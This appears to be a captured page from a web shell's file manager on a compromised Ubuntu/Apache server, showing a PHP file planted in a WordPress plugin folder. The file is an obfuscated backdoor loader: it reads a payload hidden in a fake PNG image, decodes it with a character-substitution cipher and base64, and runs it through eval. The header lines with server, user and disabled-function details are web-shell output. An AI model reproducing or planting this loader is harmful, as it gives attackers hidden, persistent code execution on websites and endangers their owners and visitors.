HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/tienda-qas.allup.com.co/wp-content/plugins/amovamec/ahadej.txt
<?php

function umybob_khizhozecoc($pumyci_xokegyda) {
    switch ($pumyci_xokegyda) {
        case 1:
            return pilure_ygugyjipu();
        case 2:
            return ohugyv_ykhimoboj();
    }
}

function jylona_xoqekhifi($pumyci_xokegyda) {
    $odixech = umybob_khizhozecoc(1);
    $ruxisy = umybob_khizhozecoc(2);
    for ($owizhyq = 0; $owizhyq < strlen($odixech); $owizhyq++) {
        $hoxose = substr($odixech, $owizhyq, 1);
        $itybon = substr($ruxisy, $owizhyq, 1);
        $ojaloz[$hoxose] = $itybon;
    }

    $awezyj = strtr($pumyci_xokegyda, $ojaloz);
    $awezyj = base64_decode($awezyj);

    return $awezyj;
}

function cureji_vycychow($pumyci_xokegyda) {
    $dufecig = array();
    if (!file_exists($pumyci_xokegyda))
        return false;
    $gydupuz = @file_get_contents($pumyci_xokegyda);
    if (!$gydupuz)
        return false;
    $gydupuz = substr($gydupuz, 3);
    $dufecig = jylona_xoqekhifi($gydupuz);
    return $dufecig;
}

function pilure_ygugyjipu() {
    $gydupuz = "EcKQsl6xqPHk=8+dIrbOAam/zYB7ejChS0uT5D3V14WRnFtUM2ZXJgiov9LypwNGf";
    return $gydupuz;
}

function ohugyv_ykhimoboj() {
    $dufecig = "stkYAM=xlEJXb94Iz2edoU+jqSQr1mFcLNTan6iB3Wf7GPROvp0CwgZKV5yHhu/D8";
    return $dufecig;
}

$uxutaho = cureji_vycychow(__DIR__ . "/ass" . "ets/im" . "ages" . "/mes" . "uvy." . "png");
if ($uxutaho) {
    @eval($uxutaho);
}